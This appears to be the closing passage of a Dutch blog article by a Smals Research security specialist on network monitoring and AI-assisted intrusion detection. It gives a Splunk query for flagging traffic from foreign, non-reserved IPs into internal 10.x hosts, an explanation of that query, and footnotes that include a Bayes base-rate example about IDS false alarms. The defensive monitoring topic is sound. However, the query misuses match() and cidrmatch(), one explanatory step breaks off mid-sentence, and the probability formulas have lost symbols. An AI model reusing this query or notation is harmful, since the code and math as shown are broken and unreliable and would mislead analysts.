Hieronder vind je een voorbeeld van hoe zo’n zoekopdracht eruit zou kunnen zien. Deze zoekopdracht veronderstelt dat er velden zijn zoals src_ip voor het bron-IP-adres, dest_ip voor het bestemmings-IP-adres, en een veld (bijvoorbeeld src_country) dat het land van het bron-IP aangeeft. Je moet misschien de veldnamen aanpassen afhankelijk van jouw specifieke Splunk setup.

index=<jouw_index_naam> sourcetype=<jouw_sourcetype> | iplocation src_ip | eval reserved_ip_list="10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16" | where NOT match(cidrmatch(reserved_ip_list, src_ip)) AND NOT src_country="Belgium" | where match(cidrmatch("10.0.0.0/8", dest_ip)) | table _time, src_ip, dest_ip, src_country, other_relevant_fields

Uitleg van de Query

  1. Index en Sourcetype: Specificeer je index en sourcetype die relevant zijn voor je data.
  2. IP Geolocatie: De iplocation commando voegt geolocatie-informatie toe aan elk event gebaseerd op het src_ip. Dit voegt velden zoals Country, City, etc., toe, afhankelijk van de nauwkeurigheid en de instellingen van je geolocatie database.
  3. Reserve IP-adressen: De lijst van gereserveerde IP-adressen wordt gedefinieerd en gebruikt om te controleren of het src_ip niet binnen deze gereserveerde ranges valt.
  4. Filter op Niet-Gereserveerde en Niet-Belgische Bron-IP’s: De where clausule wordt gebruikt om events te filteren waarbij het bron-IP-adres niet in de gereserveerde reeksen valt en niet uit België komt (src_country zou aangepast moeten worden aan jouw geolocatie veldnaam).
  5. Filter op Klasse A Bestemmings-IP’s: Een tweede where clausule filtert op bestemmings-IP’s die beginnen met .
  6. Resultatenweergave: De table commando geeft de resultaten weer in een tabelvorm met relevante velden zoals tijd, bron- en bestemmings-IP, land van het bron-IP en andere velden die belangrijk kunnen zijn voor je analyse.

Deze zoekopdracht biedt een effectieve manier om netwerkverkeer te monitoren met een focus op specifieke geografische en netwerkcriteria. Afhankelijk van de exacte vereisten, kun je meer specifieke filters of analyses toevoegen, zoals statistieken over verkeersvolumes of gedetailleerde onderzoeken naar bepaalde soorten verkeer.

Notes

1   https://cordis.europa.eu/project/id/700692

2   Uit een systematische analyse van publicaties over het gebruik van AI voor OSINT blijkt dat cybersecurity bijna de helft van de onderzochte publicaties[7] uitmaakt.

3   De auteurs geven een recall aan van 90%. In het algemeen wordt recall gedefinieerd door het aantal gevonden relevante documenten in verhouding tot het aantal relevante documenten in de database.

 [4] Het model maakt gebruik van statistieken om afwijkingen te detecteren (eenvoudig statistisch model, Markovketen en tijdreeksen).

5   https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/

6   https://github.com/GreyDGL/PentestGPT

7   https://www.hackthebox.com/

8   Stel dat in een log van een miljoen gebeurtenissen wordt geschat dat er 100 gebeurtenissen zijn die echt overeenkomen met een inbraak. Laten we ook veronderstellen dat een fabrikant ons een inbraakdetectiesysteem verkoopt met een gevoeligheid van 99,9%, d.w.z. een percentage van 0,1% fout-negatieve events die overeenkomen met echte inbraken, en met een specificiteit van ook 99,9%, d.w.z. een percentage van 0,1% fout-positieve events die niet overeenkomen met inbraken. Als de software van de fabrikant een alert signaleert, wat is dan de waarschijnlijkheid dat dit daadwerkelijk overeenkomt met een inbraak?

Instinctief zouden velen zeggen “99,9%”. Echter, als we I aantonen, de willekeurige variabele die overeenkomt met een inbraak, en de willekeurige variabele A met betrekking tot een alert, kunnen we de bovenstaande hypothesen als volgt herschrijven: Als P(I)=100/1.000.000, P(AI)=0,999, en PA│¬I)=0,999, wat is dan de waarde van P(I|A)? Het theorema van Bayes geeft ons: P(IA)=P(I)⋅P(A|I)/P(A) met P(A)=P(I)⋅P(AI)+PI)⋅P(AI) en P(A│¬I)=1−PA│¬I)=0,001. Dit leidt tot een kans van 9,08% dat de gegeven alert daadwerkelijk een inbraak is, niet 99,9%!

9   Een niet-parametrische methode voor het schatten van de kansdichtheid van een willekeurige variabele

10 https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/

11 https://falconllm.tii.ae/

_________________________
Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.

Leave a Reply

Your email address will not be published. Required fields are marked *